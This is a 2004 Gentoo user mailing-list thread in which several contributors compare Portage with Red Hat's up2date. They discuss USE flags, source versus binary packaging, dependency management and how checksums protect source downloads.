Greetings,
Another layman question from me: Is Gentoo's portage considered better than
Redhat's up2date? If so, what are the advantages of portage over up2date?

I know that the portage system optimally compiles the latest & greatest
package while up2date only brings a pre-compiled latest & greatest package.
But is this the only difference?

Does the fact that portage retrieves updates in the form of source code
makes it more secure? Or are other mechanisms that insure that Gentoo's
portage is secure?

What happens if some host on the Internet pretends to be a portage server
(i.e. hijacks a connection, somehow gets into the list of servers, etc.) and
injects a trojan horse into my "just updated" system? Do I have to check the
source code myself to verify that this isn't the case? And even if I am
capable of checking all downloaded source code by portage (very
unlikely...), isn't this entire process of 'emerge' automatic and thus I
can't really pause it just to examine the source code?

I am sure the designers of Gentoo's portage system thought and provide
solutions for all the above questions. However, I am not sure where I can
get answers to those.

If this subject has been discussed in the past please accept my apologies
and point me to the relevant location.

Thanks!
Steve

_________________________________________________________________
FREE pop-up blocking with the new MSN Toolbar – get it now!
http://toolbar.msn.click-url.com/go/onm00200415ave/direct/01/

--
gentoo-u...@gentoo.org mailing list

No. Portage's USE flags allow you to easily (this is a relative opinion :P) add
and remove support for various extras from packages. For example, if you're
running a server that doesn't need graphics or sound, you can put something like
the following in your USE:

-X -gtk -gnome -kde -qt -arts -esd -oss -alsa

As long as you don't emerge anything that specifically needs X or anything sound
related, you won't get them. This isn't always so easy with RH.

Downloading the source is no more secure than downloading a pre-compiled binary.

Aside from a rogue Gentoo dev, it is damn near impossible to exchange the real
source tarball for a trojaned one. When portage downloads a source tarball, it
checks its MD5SUM against a known value. This known value could also be modified
by a rogue dev, but this is the case with almost any distro. Also, we know deep,
dark secrets about our fellow devs which help to keep them in line :)

These questions have been brought up a few times in the past, but there isn't
any good document (afaik) that addresses them all.

--
Andrew Gaffney
Gentoo Linux Developer
Installer Project

--
gentoo-u...@gentoo.org mailing list

I like portage better in my experience primarily because portage updates
installations with new versions whereas up2date backports fixes and
enhancements to old versions.  For example, if you run Red Hat
Enterprise Linux 3 which comes with Apache 2.0.47 and you update Apache,
you'll still have version 2.0.47 which may not work correctly with
mod_perl or some other 3rd party software that wants a newer version.
With Gentoo, you don't have this problem because the version is
constantly brought up to date rather than backported.  With Red Hat, the
only way to increase versions is to install third party RPMs, install
from source manually, or upgrade the whole operating system whenever the
successor to EL3 comes out.

Chris

--
gentoo-u...@gentoo.org mailing list

Not really, but working from source has its advantages. For example, our USE
flag system allows you to build a mozilla with the mail client, without the
HTML composer, without the IRC client, and with the calendar. With binary
distro's, you generally have to accept whats given.

It also has other advantages : Gentoo runs on something like 15 different
system architectures, and if we were a binary distro, we'd have to build a
binary package for each supported arch, and distribute every single one.
Additionally, we (try to) support different userlands which may have an
influence here.
These aren't really things that you immediately care about as a user, but they
are partially responsible for the flexibility and development efficiency of
Gentoo.

Daniel

--
gentoo-u...@gentoo.org mailing list

On [Thu, 23.12.2004 02:18], steve glimache wrote:

Another great advantage, it is easy to use experimental package.  Can't
compare with up2date, since I wasn't using experimental, but I don't
think you could tell it you want to use bash 3.0...

IMHO, the only problem with using portage is for bugs.  So many factors
can influence the bug our dear gentoo developpers must be raging
sometimes.

Jonathan
--
"And then the Windows failed - and then
 I could not see to see -"
                From Emily Dickinson's poem "I heard a Fly buzz - when I died"

"... carrying human voice over copper wires is impossible, and even if
it was possible, the thing would have no practical use."
                    From a newspaper editorial in the 1870's

"640K ought to be enough for anybody."
                                        Bill Gates

application_pgp-signature_part < 1K Download

RedHat's up2date doesn't give you all the latest-and-greatest versions of software; just the one's that have been modified to only work on RedHat systems and other RPMs that RedHat approves.  This takes time so that by the time you get the latest version of an RPM installed there is probably two newer stable versions out there available as source code...

--
gentoo-u...@gentoo.org mailing list

The question is kind of an apple vs. pear question.  Uptodate, like Mandrake's
urpmi, like Yellow Dog's yum, is a wrapper around RPM to deal with a lot of
deficencies within RPM.  Using these tools with RPM is a fair question
to compare with portage.  But condiering the tool - up2date, without considering
the packages manager - RPM, is not valid.

No, it's a set of design issues.  A distribution is defined by it's package
manager.  How flexable it is, easy to use, and, to some extant, stable.
I forget which Gentoo developer wrote the article, but one aspect of
binary distributions is they require tight dependency management.  Because
the binaries are pre-compiled on some build system, every system running
the resulting binaries has to be, software wise, very, very, close to
the same as the build system or breakage occurs when the apps access the
libs.

On the other hand, a source based distribution only requires a set of loose
dependcies, as the apps are compiled in place - each target system is the
build system.  This allows each system to be very different from each other.

Because of the differences in dependency requirements, a binary based distribution
tends to be more controlled - you run the system based on decisions by others.  It
also mean the package management, while seeming to be much easier, is actually
much more diffcult.  Incremential upgrading seems easy, but can be a cause of
serious breakage when a major upgrade occurs.  And there are significant
major upgrades - either a couple of times a year for desktop versions or
every 18 months for Enterprise versions.  The upgrades also tend to be more
troublesome as soo many packages are replaced, along with there being no sandbox
available to catch some types of breakage before the install occurs.

A source based distribution moves most of the control to the end user.  To quote
from Stan Lee (Spiderman comics/movies) - "With great power, comes great responsiblity."

A source based distro, requires more from the end user/admin.  Now, though the use
of USE flags, the end user controls what features are available, thus what the final
system looks like.  Dependicies are now more in the hands of the end user and not
owners of the distribution - sure there are some basics and libs that certain pacakges
need.  But the end user is the final arbiter of choice.

As others have answered your issues with security of retrieving source and
since I'm in rant mode, it's time to talk LSB (Linux Standards Base)
compilance....

Another item of concern to business is that of standards compliance, thus
the LSB and it's test suite.  The problem with this is it really doesn't
prevent the feared forking of the software.  And forking is really a red
herring, though recent articles make it seem like it's a key item.

If you look closely at Red Hat, SuSE, Mandrake, Turbo, etc.  The
"Enterprise" Linux distributions, you'll find lots of subtle differences.
Enough to break lots of apps that get distributed in RPM format.  The
breakage is somewhat minimized if you know enough to select the LSB compliance
options during the install.  But it does not solve all the problems.

Thus hiding under the covers of some compliance standard does nothing to actually
fix the issues with third party apps not working.  It really can't becuase they
chose to tie their app the a binary distribution.  They are choosing to tie
to a specific distribution, with a specific set of packages, running on a specific
set of hardware.  If it works outside of this, it's just pure luck.

With a source based distribution, some things can be done to allow the third party
app to actually run - slotting the needed libs, setting up the needed use flags.
And these are fairly straight forward instructions that could accompany the
readmes and installation guides.  Even specific overlays could be created that
remove a lot of dependency to isolate the app and it's needs.  All this is very
flexible with source based distributions.  How easy or hard this is comes down
to the package manager and it's associated tools.

That's probably enough ranting for now.  I'll go crawl back into my hole.

Bob
--
-  

--
gentoo-u...@gentoo.org mailing list

Well, for one thing you don't have to mess with the RPM mess!  Way back
when I used Caldera and RH 7.3 and even wrote some RPMs.  Then I went to
Gentoo and haven't messed RPM at all.  Yes, there are things such as yum
and apt-get but I don't consider them much more than an attempt to
band-aid a useless piece of junk to keep it limping along <G>.  Recently
I've had to try and install FC2 and I'm trying to work through apt-get to
load some things I need and it's a mess.

Portage gives you the latest from source so it fits your machine - you
don't have to use a generic package just because that's all there is and
you don't want to write an RPM.  Yes you could use tarballs but then you
have lost the way to track what is installed.  You set use flags to
determine what features you want in your system.

  On Thu, 23 Dec 2004, steve glimache wrote:

--
gentoo-u...@gentoo.org mailing list

On Thu, 23 Dec 2004 13:49:55 -0500 (EST), Brett I. Holcomb

I'd like to add that portage is also extremely customizable. On the
surface you set system USE flags, but you can also set USE flags that
are specific to a package, tell it if you've installed a package by
hand (should you need to), set up your own virtual packages, etc.
There is a lot there that you don't find out about until you dig in or
ask the right question. :-)

--
Justin Patrin

--
gentoo-u...@gentoo.org mailing list

Better dependancy checking, more control over exactly what goes into your
system, USE flags, compile time customization ...
No. USE flags allow you to change compile-time options in packages (What to
build and what not to build, basically).

Portage also has wonderful dependancy checking.

Also, it makes it suprisingly easy to run a mixture of stable and unstable
packages, which is sometimes hard with other distros.

Well... Source files are MD5 signed. That gives you some security, but it
actually protects against mistakes, and not actual bruteforcing attempts.

There is talk of moving over to GPG-signed distfiles. This is much more secure.

First of all, this list of servers lives on your computer. The SYNC and
GENTOO_MIRRORS env variables control these.

Replacing files on mirrors is very hard due to the MD5 check, but mathematically
possible.

If you care about security, you'll be auditing code anyway. If we're going
full-scale paranoic here, who told you that the upstream package is trustworthy?

And you can audit code easily. Use "emerge -f" to get the distfile without
compiling or installing the package. Get comfortable with the
"ebuild" command in order to get Portage to compile manually patched code (or
muck around with the actual ebuilds).

--
[Name      ]   ::  [Matan I. Peled    ]
[Location  ]   ::  [Israel            ]
[Public Key]   ::  [0xD6F42CA5        ]
[Keyserver ]   ::  [keyserver.kjsl.com]
encrypted/signed  plaintext   preffered

signature.asc < 1K Download

Yes, portage is better (IMHO).

Advantages:
o More packages
o Better dependency resolution
o Customizable
o Makes sense / easy

up2date is a bit like "windows update."  It doesn't care a bit how the
packages got on your system, it just keeps them up-to-date... but only if
they're official Red Hat packages for your system.  Want to add
frozen-bubble?  It'll take half a Saturday to figure it out.  Why?  It's
not an official Red Hat package.

IIRC up2date is just an updater.  In that sense, it's only equivalent to:

emerge --update world

Portage is actually more comprehensive.  More like yum or apt-get.  I don't
think you can use up2date to install a new package.

[snip]

FWIW, I think up2date would suffer from the same vulnerability.

--
                     G a b r i e l   M .   B e d d i n g f i e l d

--
gentoo-u...@gentoo.org mailing list